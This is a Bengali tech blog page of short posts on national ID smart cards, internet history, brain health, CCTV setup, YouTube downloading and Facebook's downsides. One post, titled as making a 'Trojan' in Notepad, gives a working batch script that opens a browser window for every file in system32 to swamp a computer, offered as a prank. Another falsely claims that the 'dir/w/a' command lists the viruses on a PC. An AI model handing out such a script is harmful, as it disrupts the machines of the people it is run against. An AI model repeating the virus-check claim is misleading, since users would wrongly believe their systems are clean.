সর্বশেষ পোস্ট:
print this page
Showing posts with label জানা- অজানা. Show all posts
Showing posts with label জানা- অজানা. Show all posts

জেনে নিন আপনার স্মাট কার্ড কবে কখন এবং কোথায় দওয়া হবে।

প্রথমে সবাই কে জানাই অভিনন্দন এবং শুভেচ্ছা, আশা করি আপনারা সবাই ভালো আছেন। পরীক্ষার কারনে অনেক দিন কোন টিউনস করতে পারিনি। আপনারা সবাই আমার  জন্য আর্শীবাদ করবেন যেন আমি পরিক্ষায় ভালো রেজাল্ট করতে পারি। অনেক দিন পরে আজ কম্পিউটারে বসলাম এবং নতুন একটি বিষয় জানতে পারলাম,তা হল  (এন আই ডি) স্মার্ট কার্ড সম্পর্কে- যে কি ভাবে আপনি জানতে পারবেন যে আপনার (এন আই ডি) বা স্মার্ট কবে কখন এবং কোথায় দেওয়া হবে। বিষয় টা অনেকেই হয়তো বা জনে কেননা গত মাস হতে এই প্রসেস চালু করা হয়েছে, তার পরেও আমার কছে গুরুত্বপূর্ণ বলে মনে হল আর তাই আমি আপনাদের সাথে শেয়ার করলাম। তো- চলুন দেখাযাক যে কি ভাবে আমরা এটা জানতে পরি বা এর জন্য কি কি আপনাদের করতে হবে?

== এটা আপনারা ওয়েব সাইটের মাধ্যমে এবং এমন কি আপনাদের মোবাইলের মাধ্যমেও জানতে পারেন।==
১. ওয়েব সাইটের মাধ্যমে জানতে যা করতে হবে?
# https://services.nidw.gov.bd/card_distribution এই লিংকে প্রবেশ করুন।
#আপনার এনআইডি নম্বর বা ভোটার নিবন্ধন ফরমের স্লিপ নম্বর, জন্ম তারিখ ও ক্যাপচা লিখুন।
# ‘কার্ড বিতরণ তথ্য দেখুন’ অপশনে ক্লিক করতে হবে।
#  এরপর যে উইন্ডো আসবে সেখানেই থাকবে কবে, কোন ক্যাম্পে আপনার স্মার্টকার্ডটি কবে দেওয়া হবে।
# যদি লেখা উঠে – “No data found for: Your card distribution date is not scheduled yet, please try later.”; তাহলে বুঝতে হবে আপনার এলাকায় কবে স্মার্ট কার্ড দেওয়া হবে তার তারিখ এখনো নির্ধারিত হয়নি। আর কিছুদিন পর আবার ট্রাই করবেন।
২. মোবাইলের মাধ্যমে জানতে যা করতে হবে।
# মোবাইলের মেসেজের মাধ্যমে
মোবাইলের মেসেজ অপশনে গিয়ে SC লিখে স্পেস দিয়ে ১৭ ডিজিটের এনআইডি নম্বর লিখতে হবে। যাদের এনআইডি নম্বর ১৩ ডিজিটের, তারা প্রথমে জন্ম সাল যুক্ত করে নেবেন। এরপর তা ১০৫ নম্বরে পাঠালেই ফিরতি মেসেজে জানিয়ে দেওয়ার তথ্য।
এদিকে যারা এখনো NID পাননি তারা প্রথমে SC লিখে স্পেস দেবেন। এরপর F লিখে স্পেস দিয়ে নিবন্ধন ফরম নম্বর লিখবেন। আবারও স্পেস দিয়ে D লিখে yyy-mmm-ddd ফরম্যাটে জন্মতারিখ লিখে ১০৫ নম্বরে মেসেজ সেন্ড করবেন। ফিরতি মেসেজে আপনার এনআইডি কবে কোথায় কোন ক্যাম্পে দেওয়া হবে তা জানানো হবে।
গ) মোবাইলের মাধ্যমে কল করেঃ
১০৫ নম্বরে কল করে প্রয়োজনীয় তথ্য দিয়ে জানতে পারবেন।
উল্লেখ্য, ৩ অক্টোবর থেকে ঢাকার উত্তরা ও রমনা থানার ভোটার ও কুড়িগ্রামের ফুলবাড়ি উপজেলায় দাসিয়াছড়ার ভোটারদের স্মার্টকার্ড দেওয়া হবে। প্রথমে ঢাকার দুই সিটি, এরপর অন্য নয় সিটি, তারপর জেলা পর্যায়ে স্মার্টকার্ড বিতরণ করা হবে। সবশেষে পাবেন উপজেলা পর্যায়ের ভোটাররা।
 
আর একটি কথা যে টি না বললেই নয়, তা হচ্ছে আপনাদের যাদের NID নম্বার ১৩ সংখ্যার তারা তাদের জম্ম সাল প্রথমে যুক্ত করে নিবেন। আর যাদের NID নম্বার ১৭ সংখ্যার তারা ১৭ সংখ্যায় বসাবেন।

ইন্টারনেটের ক্রমবিকাশ

ডারপা‘ নামে মার্কিন প্রতিরক্ষা দফতরের একটি গবেষণা প্রকল্প থেকে ইন্টারনেটের সূচনা হয়। সময়টা ছিল ১৯৬৯ সালের ১৪ জানুয়ারি। ক্যালিফোর্নিয়া বিশ্ববিদ্যালয় লস এঞ্জেলস এবং স্ট্যানফোর্ড রিসার্চ ইনস্টিটিউটের মধ্যে কম্পিউটার নেটওয়ার্ক স্থাপন করা হয়। তখন এর নাম ছিল আরপানেট। এ নেটওয়ার্ক আন্তর্জাতিক রূপ পায় ১৯৭৩ সালের ২৫ শে জুলাই। লন্ডনের ইউনিভার্সিটি কলেজের সাথে যুক্তরাষ্ট্রের আরপানেট যুক্ত হয়। এ বছরই আরপানেটের রবার্ট কান আর ভিনটন সার্ফ প্রথমবারের মতো ট্রান্সমিশন কন্ট্রোল প্রটোকল এবং ইন্টারনেট প্রটোকল তৈরি করেন। এটি পরিচিতি পায় টিসিপিআইপি হিসেবে।
টিসিপিআইপি’র প্রথম পরীক্ষা চালানো হয় স্ট্যানফোর্ড বিশ্ববিদ্যালয় এবং ইউনিভার্সিটি কলেজ লন্ডনের মধ্যে ১৯৭৫ সালে। পরের দু’টি বছরে যুক্তরাষ্ট্র, যুক্তরাজ্য এবং নরওয়ের তিনটি নেটওয়ার্কের মধ্যে আরও পরীক্ষা চালানো হয়।
১৯৮০ সাল নাগাদ ইন্টারনেটের সার্বজনীন ভাষায় পরিণত হয় টিসিপিআইপি।
 
তবে ১৯৮১ সালে এসে আইবিএম এবং আরও কিছু কোম্পানী কয়েকটি নেটওয়ার্ক চালু করে। এগুলোর মধ্যে ছিল বিটনেট। ৪৯ টি দেশের এক হাজারেরও বেশি প্রতিষ্ঠান যুক্ত হয়েছিল এসব নেটওয়ার্কে। পরের কয়েকটি বছরে যুক্তরাষ্ট্রের জাতীয় বিজ্ঞান ফাউন্ডেশন বিভিন্ন বিশ্ববিদ্যালয়ের মধ্যে একটি নেটওয়ার্ক গড়ে তোলে, এর নাম ছিল এনএসএফনেট। এত নেটওয়ার্কের আবির্ভাবের ফলে টিসিপিআইপি’র প্রতিদ্বন্দ্বীও তৈরি হয়। কিন্তু শেষ পর্যন্ত টিকে যায় টিসিপিআইপি।
 
১৯৮৭ সালের নভেম্বরে এসে কম্পিউটার নেটওয়ার্কের মাধ্যমে তথ্য আদানপ্রদানের গতি বাড়াতে সক্ষম হয় এনএসএফনেট। এসময় বাণিজ্যিকভাবে বিনিয়োগ করতে শুরু করে বিভিন্ন প্রতিষ্ঠান।
 
১৯৮৮ সালে কানাডা, ডেনমার্ক, ফ্রান্স, আয়ারল্যান্ড, নরওয়ে, এবং সুইডেন এনএসএফনেটের সাথে যুক্ত হয়, আন্তর্জাতিক রূপ পায় এ নেটওয়ার্ক।


১৯৯০ সাল নাগাদ আরপানেটের জায়গা বেশ ভালোভাবেই নিয়ে নেয় এনএসএফনেট। এনএসএফনেটের দাপটে আরপানেট যখন বন্ধ হয়ে যায় তখন কর্মচারীরা ছাড়া আর কেউ তা বুঝতেই পারে নি।
 
১৯৯১ সাল: এ বছর ওয়ার্ল্ড ওয়াইড প্রকল্প চালু করেন টিম বার্নার্সলি।
 
১৯৯২ সালে এসে ইন্টারনেটের গতি বেড়ে বেড়ে প্রতি সেকেন্ডে ৪৫ মেগাবিটস-এ দাঁড়ায়। এবছরের ২২ শে সেপ্টেম্বর এনএসএফনেটের আদলে সারা ইউরোপ জুড়ে ইন্টারনেট ব্যবস্থা চালু হয়, এর নাম ছিল ই-বোন।
১৯৯৩ সালের ২২ শে এপ্রিল উইন্ডোজ অপারেটিং সিস্টেমের জন্য ওয়েব ব্রাউজার ‘মোজাইক’ চালু হয়।
 
১৯৯৫ থেকে ২০০৫ এ সময়ের মধ্যে এনএসএফনেট এবং ই-বোন দু’টিই বন্ধ হয়ে যায়। এদের জায়গা করে নেয় বাণিজ্যিক ইন্টারনেট সেবা প্রদানকারীরা।


ধন্যবাদ সবাইকে 


মস্তিষ্কের কার্যক্ষমতা কমার ১০টি কারণ

স্বাগত জানাচ্ছি আমার সচেতনামূলক পোষ্টে। শুরুতেই সবাইকে অনেক শুভেচ্ছা । আজকে আমরা জানবো যে ১০ টি কারনে- মানু্ষের মস্তিষ্কের কার্যক্ষমতা কমে যায়। মস্তিষ্ক আমাদের দেহের একটি অতিগুরুত্বপূর্ণ অংশ। আমাদের পুরো দেহই পরিচালিত হয় মস্তিষ্কদ্বারা। একবার ভাবুন যদি আমাদের মস্তিষ্ক দুর্বল হয়ে পড়ে তাহলে কত বিপদেই না পড়তে হতে হবে আমাদের? তাহলে সময় এখুনি আমাদের মস্তিষ্ক সম্পর্কে সচেতন হবার। আর তাই আপনাদের সচেতনতা বৃদ্ধির প্রয়াসে আমি মস্তিষ্কের কার্যক্ষমতা হ্রাস পাওয়ার ১০ টি কারণ আপনাদের সাথে শেয়ার করছি যাতে আপনারা সেই সব বিষয় সমূহ মাথায় রেখে তা এড়িয়ে যেতে পারেন আপনাদেরই স্বাস্থ্যের কল্যাণে। তো কথা না বাড়িয়ে দেখা যাক কী,কী সেই কারণ-


  • সকালে ঠিক মত না খাওয়া। যার ফলে রক্তে সুগারের পরিমান কমে যায় এবং ব্রেইন সঠিক পুষ্টি পায় না।
  • প্রয়োজনের অধিক খাদ্যাভ্যাস। যার ফলে আপনার ব্রেইনের এর রক্তনালীকে শক্ত করে তার কার্যক্ষমতা হ্রাস করে।
  • ধুমপান করা। এতে কোন সন্দেহ নেই যে ধুমপানের ফলে ব্রেইন এর ক্ষমতা হ্রাস করে। এমন কি এটি আলজেইমার রোগেরও একটি কারন।
  • অতিরিক্ত পরিমানে চিনি খাওয়া। এটি ব্রেইনের জন্য ক্ষতিকর।
  • বিষাক্ত বায়ু বা বায়ু দূষণ। মূলত আমরা যখন শ্বাসের মাধ্যমে অক্সিজেন গ্রহন করি তার প্রায় ৩৫ ভাগই আমাদের ব্রেইনের কাজে খরচ হয়। সুতরাং দূষিত বায়ুতে আক্সজেনের স্বল্পতার কারনে আমাদের ব্রেইনেও কম অক্সিজেন যাবে। এতে ব্রেইনের দক্ষতা কমে যায়।
  • রাত জাগলে বা ঘুমের সমস্যা। ঘুম মানে হচ্ছে ব্রেইনের বিশ্রাম। যারা পরিমিত ঘুমান না তাদের ব্রেইনের কার্যক্ষমতাও কম যায়।
  • মাথা ঢেকে ঘুমানো মস্তিষ্কের জন্য খারাপ। কারন তখন গৃহীত বাতাসে কার্বন ডাই অক্সাইডের পরিমান বেশী থাকে।
  • অসুস্থ অবস্থায় মাথার কাজ বা চিন্তা করাও ব্রেইনের জন্য ক্ষতিকর। মূলত অসুস্থ অবস্থায় ব্রেইনে বিশ্রাম দরকার।
  • বিশ্লেষণধর্মী চিন্তা ভাবনা আমাদের ব্রেইনের কার্যক্ষমতা এবং দক্ষতা বৃদ্ধি করে। যারা এধরনের চিন্তা কম করেন তাদের ব্রেইন তুলনামূলক কম দক্ষ হয়ে থাকে।
  • মাদকাসক্ত । এতে মস্তিষ্কের কর্ম ক্ষমতা কমে যায়।
কি ভাবছেন? যে এটা তো আপনাও জানতেন? তাহলে যদি জেনেই থাকেন তাহলে আসুন আজ থাকেই উপরের বিষয়গুলোকে এড়িয়ে চলি আর স্বাস্থ্যের প্রতি যত্নবান হই। এতে আপনি হয়ে উঠবেন রোগ মুক্ত আর আপনি আপনার জীবনের প্রত্যেকটি কাজ করতে পারবেন আপনার মতন করে। ধন্যবাদ ..

আপনার কম্পিউটারে কি কি ভাইরাস এফেক্ট করেছে দেখে নিন

শুরুতে সবাইকে জানাই আমার সালাম ও শুবেচ্ছা সবাই কেমন আছেন আসা করি সবাই খুবই ভাল আছেন…….
আজকে আপনাদের জন্য একটি মজার টিউন নিয়ে আসছি দেখে মজা পাবেন চলুন তাহলে কাজটা খুব দ্রুত সেরে ফেলি…….



আপনার কম্পিউটারে কি কি ভাইরাস এফেক্ট করেছে দেখে নিন…………..নিম্মে পদক্ষেপ অনুসরণ করুন
আপনার কম্পিউটারে প্রথমে  Run এ গিয়ে   cmd লিখে  Ok  করুন অতঃপর dir/w/a  লিখে  Enter দিন এখন আপনার কম্পিউটারে কি কি ভাইরাস এফেক্ট করেছে তার লিস্ট ‍দেখাবে ……………………….

...............ধন্যবাদ সবাই কে...................

TROJAN ভাইরাস তৈরী করুন নোডপেড দিয়ে

সবাই কে জানায় অনেক  শুবেচ্ছা ,আশা করি সবাই ভালো আছেন আমিও আপনাদের দোয়াই ভালোই আছি। যাই হোক এই বার কাজের কথাই আশা যাক আজকে আমি আপনাদের কে দেখাবো যে কী ভাবে নোটপ্যাডে সামান্য কিছু কোড লিখে Trojan ভাইরসি তৈরী করত হয়। এই টা  খুবই সহজ সবাই পারবে… 
তবে একটা কথা আগেই বলে রাখা ভালো যে এটা কোন খারাপ উদ্দেশ্য নিযে  বানো যাবে না । আর এইটা দিয়ে তেমন কোন ক্ষতি করা সম্ভব নয় । তবে মজা করার জন্য ব্যবহার করতে পারেন
শুধু আমার দেয়া কোডগুলো নোডপেড এ পেস্ট করুন।  নিচে কোডটি দেয়া আছে
cd c:\windows\system32
for %%a in (*) do start iexplore.exe
for %%a in (*) do start iexplore.exe
for %%a in (*) do start iexplore.exe
for %%a in (*) do start iexplore.exe
for %%a in (*) do start iexplore.exe

এবার এটাকে ANY Name.Bat দিয়ে Save করুন। তবে একটা জিনিস খেয়াল রাখতে হবে যে আপনি পাইল টা কে যে নামেই Save করেন না কেন শেষে যেন .Bat থাকে, তা -না হলে কিন্তু কাজ হবে না। যদি সব কাজ ঠিক ঠাক মত করে থাকেন তাহলে ঠিক আছে।   এখন এই ফাইলের উপর ডাবল ক্লিক করুন আর দেখুন মজা।

.......................... সবাই কে অনেক ধন্যবাদ..............................

সিকিউরিটি ক্যামেরা সম্পর্কে কিছু জানা অজানা তথ্য

বর্তমান বাংলাদেশে DVR কার্ড এবং সিকিউরিটি ক্যামেরা খুবই মামুলি ব্যাপার হয়ে দাঁড়িয়েছে। অফিস, কল-কারখানা, বাসা-বাড়ি প্রায় সব জায়গাতেই ইদানিং ক্লোজ সার্কিট ক্যামেরা দেখা যায়। সিসিটিভি স্থাপন করা এখন আর আগের মত ব্যয়বহুল এবং ঝামেলাপূর্ন নয়। চলুন এ সম্পর্কে কিছুটা জানা যাক। একটা সিসিটিভি সিস্টেম বসাতে মূলত যা যা প্রয়োজন হয় তা হল…
 
  • – একটি হাই কনফিগারেশন কম্পিউটার
  • – কম্পিউটারে ক্যামেরা সংযোগের জন্য DVR কার্ড
  • – প্রয়োজনীয় সংখ্যক ক্যামেরা এবং কোএক্সিয়াল ক্যাবল।
কয়েক ধরনের ক্যামেরা পাওয়া যায় যেখান থেকে আপনার প্রয়োজন অনুযায়ী ব্যবহার করতে পারেন। যেমন:- কিছু ক্যামেরা শুধু ভিডিও ধারন করতে পারে এবং কিছু ক্যামেরা ভিডিওর সাথে সাথে শব্দ ও ধারন করতে পারে (এক্ষেত্রে DVR কার্ড ও শব্দ রেকর্ড করার উপযোগী হতে হবে) আবার কিছু ক্যামেরা আছে যা রাতের অন্ধকারে ও কাজ করে। এছাড়া ক্যামেরায় বিভিন্ন ধরনের লেন্স ও ব্যবহার করা যায়।কম্পিউটার কেনার সময় যে সমস্ত ডিভাইসগুলো দিকে বেশি প্রাধান্য দিতে হবে তা হল, প্রসেসর, RAM এবং হার্ডডিস্কের ক্যাপাসিটি। প্রসেসসর ডুয়াল কোর হলে ভাল হয়, RAM কমপক্ষে ১ গিগাবাইট হতে হবে তবে ২ গিগাবাইট হলে ভাল আর যত বেশী ক্যাপাসিটির হার্ডডিস্ক লাগাবেন তত বেশী ভিডিও সার্ভারে ব্যাকআপ থাকবে। সাধারন ৫০০গিগাবাইট থেকে ১ টেরাবাইট হার্ডডিস্ক লাগানো হয়। সিসিটিভি সিস্টেম কনফিগার করা খুব জটিল কোন কাজ না। DVR কার্ড ড্রাইভার ইনষ্টল করা অন্যসব ডিভাইসের মতই। আর সিসিটিভি সফটওয়্যারটার সাথে দেওয়া ম্যানুয়াল পড়লেই এটা কনফিগারের আইডিয়া পেয়ে যাবেন। প্রোগ্রাম সেটাপের সময় অবশ্যই মনিটরের রেজ্যুলেশনের বিষয়টা খেয়াল রাখবেন। রেজ্যুলেশন ১০২৪X৭৬৮ হলে ভাল হয় অন্যথায় অনেক সময় ডিসপ্লে করবে না। মজার ব্যাপার হল, যে কম্পিউটারটি সিকিউরিটি সার্ভার হিসাবে ব্যবহার করবেন তা থেকে ঐ নেটওয়ার্কে অবস্থিত সবাই এটি দেখতে পারবে। আর আপনার সার্ভার মেশিন এর আইপি যদি রিয়েল হয় তাহলে তো কোন কথাই নেই পৃথিবীর যে কোন স্থানে বসে আপনি দেখতে পারবেন আপনার বাসা বা অফিসের কার্যক্রম

শুধু একটু পরির্বতন এনে এক্ষনি ডাউনলোড করে নিন আপনার পছন্দের ইউটিউব ভিডিও

ইউটিউব ভিডিও ডাউনলোড করার অনেক ধরণের সফটওয়্যার আছে। কিন্তু এ সকল সফটওয়্যার এর বেশির ভাগ গুলোতে রিজুম সাপোর্ট করে না যার কারণে আমরা অনেকেই এসকল সফটওয়্যার থেকে দূরে থাকি আর অনেক সফটওয়্যার সঠিক কাজ ও করে না। যার কারণে আমরা ব্যাবহার করি না। আজকে আমি আপনাদের একটি নতুন টিউটরিয়াল দিব জার মাধ্যমে আপনি সহজ এ ডাউনলোড করতে পারবেন এবং আপনার ইচ্ছা মত ডাউনলোডার ব্যাবহার করে। তাহলে চলুন জেনে নেওয়া যাক কিভাবে সম্ভবঃ
তো চলুন দেখা যাক এটা কি ভাবে হয়-
  • প্রথমে আপনাকে ইউটিউব এ লগিন করতে হবে তারপর আপনাকে আপনার কাঙ্ক্ষিত ভিডিওতে যেতে হবে মানে আপনি যেই ভিডিওটি ডাউনলোড করবেন সেই ভিডিওতে যেতে হবে।
  • এবার আপনার অ্যাড্রেস বারটি চেক করে দেখুন। উদাহরণ হিসেবে আমি একটি লিঙ্ক দিচ্ছি ধরেনঃ www.youtube.com/channel/UCrDKf_G7lAmUXVgV1d39M5A ( বুঝার সুবিধার্থে) এবার আপনি এই লিঙ্ক এর ইউটিউব লিখার আগে ss যোগ করুন।
  • এবার এন্টার বাটন চাপুন।
  • এখন দেখবেন অনেকগুলো ফরম্যাট দেখতে পারবেন আপনার কাঙ্ক্ষিত ভিডিও এর। আপনার ইচ্ছা মত ফরম্যাট সিলেক্ট করে ডাউনলোড করে নিন।
আমি আরেকটি পদ্ধতি দিচ্ছি এজন্য আপনাকে অরবিট ডাউনলোডার ব্যাবহার করতে হবে। কারণ আমার জানা মতে সরাসরি আইডিএম দিয়ে ইউটিউব এর ফাইল ডাউনলোড করা সম্ভব হবে না। সে জন্য আপনি আপনার ব্রাউজার এর নতুন ভার্সন এবং অরবিট এর নতুন ভার্সন ডাউনলোড করে ব্যাবহার করুন। অরবিট এ grab+ নামক একটি অপশন আছে জার মাধ্যমে অনলাইন এ চলছে এবং প্লে করা সম্ভব এরকম সকল ভিডিও ডাউনলোড করে নিতে পারবেন। এর জন্য ভিডিওটি চলতে হবে। যদি আপনার কম্পিউটার এ ভিডিও না চলে তাহলে দয়া করে আপনার ফ্ল্যাশ প্লেয়ার আপডেট করে নিন। আশাকরি ডাউনলোড করতে পারবেন।
আমার আজকের এই পোস্ট আপনাদের অনেক কাজে লাগবে সেজন্য আপনার মূল্যবান মন্তব্য আশাকরছি। ধন্যবাদ সকলকে, সবাই ভালো থাকবেন।

আপনার অজান্তেই “ফেসবুক” আপনার যে ক্ষতিগুলো করছে !


আপনার অজান্তেই “ফেসবুক” আপনার যে ক্ষতিগুলো করছে ! 

আজ থেকে দশ বছর আগে ফেসবুক এমন এক সোশাল মিডিয়া হিসেবে আত্মপ্রকাশ করে, যার কাজ ছিল হাই স্কুলের বন্ধুদের সঙ্গে যোগাযোগ রক্ষা করা। নিজে চিন্তা-ভাবনা, আলোচনা বা প্রোগ্রাম ঠিক করা বা তথ্য আদান-প্রদান ইত্যাদি কাজ চলতো এর মাধ্যমে। কিন্তু এর পর থেকে ফেসবুক অর্থ বানানোর প্লাটফর্মে পরিণত হতে লাগলো। যদিও এখন পর্যন্ত ফেসবুক সোশাল মিডিয়া হয়েই রয়েছে, তবুও অন্তত ৭টি কারণে এ বছরই ফেসবুককে বিদায় দেওয়ার পক্ষে মত দিয়েছেন ‘গিয়ার ল্যাব’-এর বিশেষজ্ঞরা। তারা বলছেন, কারণগুলো দেখুন এবং আপনিও এ বছরের মধ্যে ফেসবুককে ‘না’ বলুন। 





১. সময়ের অপচয় : এটা বলা হয়, মানুষ প্রতিদিন গড়ে ১৭ মিনিট ফেসবুকে সময় দেন। এভাবে টানা ১০ বছর তারা ফেসবুকে থেকে জীবনের ৪০টি দিন শুধু লাইক করার কাজে নষ্ট করেছেন।
২. ফেসবুকের ফ্রি স্টাফ আমরা : ২০১২ সালের এক গবেষণায় জানানো হয়, ৬ লাখ ৮৯ হাজার ফেসবুক অ্যাকাউন্টের ওপর একটা পরীক্ষা চালানো হয়। ফেসবুক ‘ইমপ্রুভ ইওর সার্ভিস’-এর মাধ্যমে মূলত ব্যবহারকারীদের নিজেদের কাজেই ব্যবহার করে থাকে। অর্থাৎ আপনি ফেসবুক ব্যবহার করে মূলত তাদের অর্থ উপার্জনের পথ খুলে দিচ্ছেন।
৩. বিজ্ঞাপনের স্থান আপনি : ফেসবুকে যখনই আপনি কিছু সার্চ করছেন তখনই বিজ্ঞাপনের বিলবোর্ড হচ্ছেন আপনি। আপনার টাইমলাইনে নিয়মিত বিজ্ঞাপন আসতে থাকবে। আর অর্থ যাবে ফেসবুকের ঘরে।
৪. স্বাস্থ্যের জন্যে ক্ষতিকর : একটানা বহু সময় ফেসবুক ব্যবহারের ফলে মানুষের বিপাকক্রিয়ায় ব্যাপক নেতিবাচক প্রভাব পড়ে। এতে হজমে সমস্যা, দৃষ্টিশক্তিতে সমস্যাসহ সৃষ্টিশীলতা ধ্বংস হয়। ঘুমের ধারাবাহিকতাও বদলে যায়।
৫. এরা কারা? : দেখবেন, আপনার হয়তো ৫ শতাধিক বন্ধু রয়েছেন ফেসবুকে। এক গবেষণায় বলা হয়েছে, ব্যবহারকারীরা তার বন্ধুতালিকার ১০ শতাংশ মানুষকে ব্যক্তিগতভাবে চেনেন। বাকিরা এমনিতেই বন্ধু হয়ে যান। এই অপরিচিত মানুষগুলোকে বন্ধু ভেবে তাদের সঙ্গে সময় ব্যয় করা আসলে সময়ের অপচয় ছাড়া আর কিছুই নয়।
৬. গোপনীয়তা থাকছে না : আপনি অনেক বিষয়েই গোপনীয়তা ধরে রাখতে চান। কিন্তু ফেসবুকের কারণে তা ধীর ধীরে মূল্যহীন হয়ে যাচ্ছে। অন্যকে দেখে গোপনীয়তা ধরে রাখতে ইচ্ছুক মানুষরাও তার গোপন বিষয় প্রকাশ করে ফেলছেন। এ নিয়ে পরিবার, সংসার ও সমাজে শুরু হচ্ছে নানা টানাপড়েন। তারওপর হ্যাকারদের অত্যাচার তো রয়েছেই।
৭. আপনার পোস্ট আসলে মূল্যহীন : আপনি কি ভাবছেন, কি করছেন, কি চাইছেন ইত্যাদি নিয়ে অন্যের সত্যিকার অর্থে কোনো চিন্তা নেই। কাজেই মনের যে কথাটি আপনি যত্ন ও আবেগের সঙ্গে তুলে ধরছেন, তা আসলে অন্যের কাছে মূল্যহীন। সেখানে লাইক ও কমেন্ট পেয়ে হয়তো তৃপ্তি পাচ্ছেন। কিন্তু যারা লাইক বা কমেন্ট দিয়েছেন তাদের কাজ ওই পরিসরেই সীমাবদ্ধ। কাজেই নিজের মূল্যবান চিন্তাধারা ফেসবুকে পোস্ট করা মানে উলুবনে মুক্তা ছড়ানো ছাড়া আর কিছুই নয়।

(বি:দ্র ঃ তবে আমি এখানে যে কারণ গুলোর কথা বলেছি এই গুলো হল এর খারাপ দিক, কেউ যদি এই সব দিক এরিয়ে যেতে পারে তাহরে আমার মনে কোন সমস্যা হবে না। আর আমি নিজে ও এই চেষ্টাই করি যেন এর খারাপ দিক গুরো এড়িযে যাওয়া যায়। কেননা আমি জানি যে , উপদেশ দেওয়ার চেয়ে তা পারন করা অনেক কাঠন ব্যাপার। )
কোন কিছু ভুল হরে ক্ষমা করে দিবেন। সবাই ভালো থাকবেন, কে অনেক ধন্যবাদ ।



 

জেনে নিন জাতীয় পরিচয় পত্রের নাম্বার গুলো দিয়ে বুঝায়

জাতীয় পরিচয় পত্রের বিশাল নাম্বার দেখে অনেকের খটকা লাগে অনেকের জানার ইচ্ছা করে এর মানে কি? এখানে ১৩ টি ডিজিট রয়েছে, আবার কারো টায় ১৭ টি ডিজিট রয়েছে। যার অর্থ করলে দাড়ায়
চলুন জেনে নেই কী দ্বাড়ায় এর মানে।............................


 ০১. যাদের ১৭ ডিজিট রয়েছে এর প্রথম চার টি হল সেই ব্যাক্তির জম্ম সাল।
০২. পরের দুটি সংখ্যা দিয়ে বুঝানো হয়েছে আপনার জেলা। যেমন কুড়িগ্রাম এর জেলা কোড ৪৯
০৩. পরবর্তী সংখ্যাএটা আর এম (RMO) কোড। 
সিটি কর্পোরেশনের জন্য
ক্যান্টনমেন্ট
পৌরসভা
পল্লী এলাকা
পৌরসভার বাইরে শহর এলাকা
অন্যান্য
০৪. পরবর্তী সংখ্যা দ্বারা উপজেলা বুঝানো হয়েছে
০৫. পরবর্তী সংখ্যা দ্বারা ইউনিয়ন বা ওয়ার্ড বুঝানো হয়েছে
৬. শেষ সংখ্যাআই ডি কার্ড করার সময় আপনি যে ফর্ম পূরণ করেছিলেন এটা হল সেই   ফর্ম এর নাম্বার
বর্তমানে এখন Smart Card দেওয়া হচ্ছে।

 
Copyright © 2016. টেক ডট বিডি - All Rights Reserved
Powered by SCS